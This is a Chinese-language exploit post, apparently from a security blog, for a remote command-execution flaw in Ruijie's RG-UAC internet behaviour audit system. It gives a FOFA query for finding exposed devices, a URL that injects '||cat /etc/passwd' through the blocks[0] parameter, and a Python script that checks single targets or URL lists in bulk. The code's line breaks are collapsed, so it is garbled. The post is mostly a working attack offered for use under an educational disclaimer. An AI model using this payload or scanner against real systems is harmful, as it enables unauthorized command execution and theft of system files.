聲明:本文檔或演示材料僅供教育和教學目的使用,任何個人或組織使用本文檔中的信息進行非法活動,均與本文檔的作者或發布者無關。
文章目錄
- 漏洞描述
- 漏洞復現
- 測試工具
漏洞描述
銳捷統一上網行為管理與審計系統naborTable/static_convert.php
接口存在遠程命令執行漏洞,導致惡意攻擊者可以執行命令獲取對服務器的遠程訪問權限或者破壞系統,對服務器造成極大的安全隱患。
漏洞復現
1)fofa搜索:
title="RG-UAC登錄頁面"
隨機選擇幸運觀眾~
構造url:
xxx.xxx.xxx/view/IPV6/naborTable/static_convert.php?blocks[0]=||cat%20%2fetc%2fpasswd
測試工具
#!/usr/bin/env python
# -*- coding: utf-8 -*-# 導入所需的模塊
import requests
import argparse
import time
from urllib3.exceptions import InsecureRequestWarning# 定義紅色和重置顏色的ANSI轉義序列,用于終端輸出高亮顯示
RED = '\033[91m'
RESET = '\033[0m'# 忽略不安全請求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)# 定義一個函數用于檢查URL是否存在特定漏洞
def check_vulnerability(url):try:# 構造攻擊URL,嘗試利用naborTable命令執行漏洞attack_url = url.rstrip('/') + "/view/IPV6/naborTable/static_convert.php?blocks[0]=||cat%20%2fetc%2fpasswd"# 發送GET請求,不驗證SSL證書,設置超時為10秒response = requests.get(attack_url, verify=False, timeout=10)# 檢查響應狀態碼和響應內容,判斷是否存在漏洞if response.status_code == 200 and 'root' in response.text:print(f"{RED}URL [{url}] 可能存在銳捷統一上網行為管理與審計系統naborTable命令執行漏洞{RESET}")else:print(f"URL [{url}] 不存在漏洞")except requests.RequestException as e:# 打印請求過程中的異常信息print(f"URL [{url}] 請求失敗: {e}")# 定義主函數,解析命令行參數并執行檢測
def main():# 創建解析器,添加描述和參數parser = argparse.ArgumentParser(description='檢測目標地址是否存在銳捷統一上網行為管理與審計系統naborTable命令執行漏洞')parser.add_argument('-u', '--url', help='指定目標地址')parser.add_argument('-f', '--file', help='指定包含目標地址的文本文件')# 解析命令行參數args = parser.parse_args()# 如果提供了URL參數,則檢查該URLif args.url:if not args.url.startswith("http://") and not args.url.startswith("https://"):args.url = "http://" + args.urlcheck_vulnerability(args.url)# 如果提供了文件參數,則從文件中讀取URL列表進行檢查elif args.file:with open(args.file, 'r') as file:urls = file.read().splitlines()for url in urls:if not url.startswith("http://") and not args.url.startswith("https://"):url = "http://" + urlcheck_vulnerability(url)# 程序入口點
if __name__ == '__main__':main()
過程截圖: